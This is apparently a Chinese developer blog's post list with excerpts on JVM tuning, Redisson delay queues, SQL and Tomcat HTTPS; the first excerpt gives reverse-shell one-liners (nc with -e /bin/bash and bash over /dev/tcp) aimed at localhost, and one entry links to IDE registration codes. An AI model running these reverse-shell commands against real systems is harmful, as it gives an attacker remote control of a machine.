java
自转的轮子
一个IT爱好者
展开
-
shell反弹
客户机yum install ncnc参数-l 使用监听模式-v 显示执行过程-p 设置本地主机使用的通信端口示例nc -lvp 444目标机nc 127.0.0.1 444 -e/bin/bashbash -i>& /dev/tcp/127.0.0.1/444 0>&1原创 2022-04-14 15:26:11 · 93 阅读 · 0 评论 -
jvm调优
jps 查看java进程java -XX:+PrintFlagsFinal -version 查看JVM的所有参数java -XX:+PrintFlagsFinal -version |grep manageable 查看可以动态修改的参数jinfo -flag CMSWaitDuration=1900 38360 修改JVM参数jinfo -flags 9912 查看参数jstat -gc 11355 100 10 打印pid为11355JVM的状态,一共打印10次,每次间隔时间1s原创 2021-07-02 18:05:39 · 74 阅读 · 0 评论 -
超简单使用redisson延迟队列做定时任务
超简单使用redisson延迟队列做定时任务王念博客 王念博客 发布于 02/17 14:10 字数 1305 阅读 1.7W 收藏 11 点赞 1 评论 25springredissonredisredisson-spring-boot-starterspring bootquartz精选30+云产品,助力企业轻松上云!>>>前言:在工作开发中很多需求都需要用到定时任务,但是市面上多半都是轮询或者固定时间执行的开源工具,我之前写过一次基于quartz的定时任务,前端和分布式转载 2020-07-22 15:19:03 · 1825 阅读 · 6 评论 -
基于Redisson的延时队列
推荐一款基于Redis的高可用延迟队列作者:小柒 发表于 2020-02-13 | 分类于 架构设计前言之前给大家推荐的几款延迟任务处理队列,对于一些要求比较高的场景是无法运用于生产环境的,一旦机器宕机或者应用重启会导致队列消息丢失,从而造成无法挽回的损失。今天给大家分享一款高可用延迟队列 Redisson。简介Redisson 在基于 NIO 的 Netty 框架上,充分利用了 Redis 键值数据库提供的一系列优势,在 Java 实用工具包中常用接口的基础上,为使用者提供了一系列具有转载 2020-07-21 18:00:13 · 881 阅读 · 0 评论 -
count 中使用if语句
SELECT b.tax_pch,COUNT(IF(b.tax_status IN(0,1,2),TRUE ,NULL))AS '总人数', COUNT(IF(b.tax_status IN (0,1),TRUE ,NULL))AS '未报人数', COUNT(IF(b.tax_status = 2,TRUE ,NULL))AS '已报人数', b.tax_model,b.tax_company, SUM(IF(b.tax_status IN(0,1,2),...原创 2020-06-09 12:02:32 · 722 阅读 · 0 评论 -
excel导出工具
https://gitee.com/stupid1t/small_tools转载 2019-05-16 15:45:44 · 107 阅读 · 0 评论 -
idea注册码
ideahttps://www.cnblogs.com/aacoutlook/p/9036299.html原创 2018-12-12 09:45:53 · 192 阅读 · 0 评论 -
接口防止重复提交
http://pengl.com.cn/2017/09/26/%E4%BD%BF%E7%94%A8Redis%E8%AE%A1%E6%95%B0%E5%99%A8%E9%98%B2%E6%AD%A2%E5%B9%B6%E5%8F%91%E8%AF%B7%E6%B1%82/转载 2018-09-03 18:00:26 · 2057 阅读 · 0 评论 -
delete 去除重复数据
具体业务,将一条数据加入时做校验,判断是否重复,重复删除删选条件 plan_info_id相等,assets_info_id相等 distribute_state='-1'DELETE m FROM `Fa_Stock_Plan_Detail` mWHERE EXISTS (SELECT sCode, nId FROM (SELECT t.`plan_info_id` AS原创 2018-03-14 15:42:02 · 1988 阅读 · 0 评论 -
struts2的简单使用
在这里我要说一下在action中怎么向页面传值~在action中依然可以像以前在servlet里面一样,使用request、session、application向页面传送值,除此之外,action里面还有俩个独有的传值方式:ValueStack ActionContext一,先来说说这俩个独有的传值方式~1.ValueStack的特点(值栈):1.把一个转载 2017-12-04 17:46:44 · 233 阅读 · 0 评论 -
java切割合并文件
package com.zhjy.function.storeHouse;import java.io.BufferedInputStream; import java.io.BufferedOutputStream; import java.io.File; import java.io.FileInputStream; import java.io.FileNotFound转载 2017-11-29 11:01:15 · 455 阅读 · 0 评论 -
tomcat配置https及证书导入
利用tomcat服务器配置https双向认证步骤1、为服务器生成证书进入控制台,切换到%JAVA_HOME%/bin目录,具体操作略。使用keytool为Tomcat生成证书,假定目标机器的域名是“localhost”,keystore文件想要存放在“D:\home\tomcat.keystore”,口令为“password”,使用如下命令生成:keytoo原创 2017-10-13 11:55:44 · 3000 阅读 · 2 评论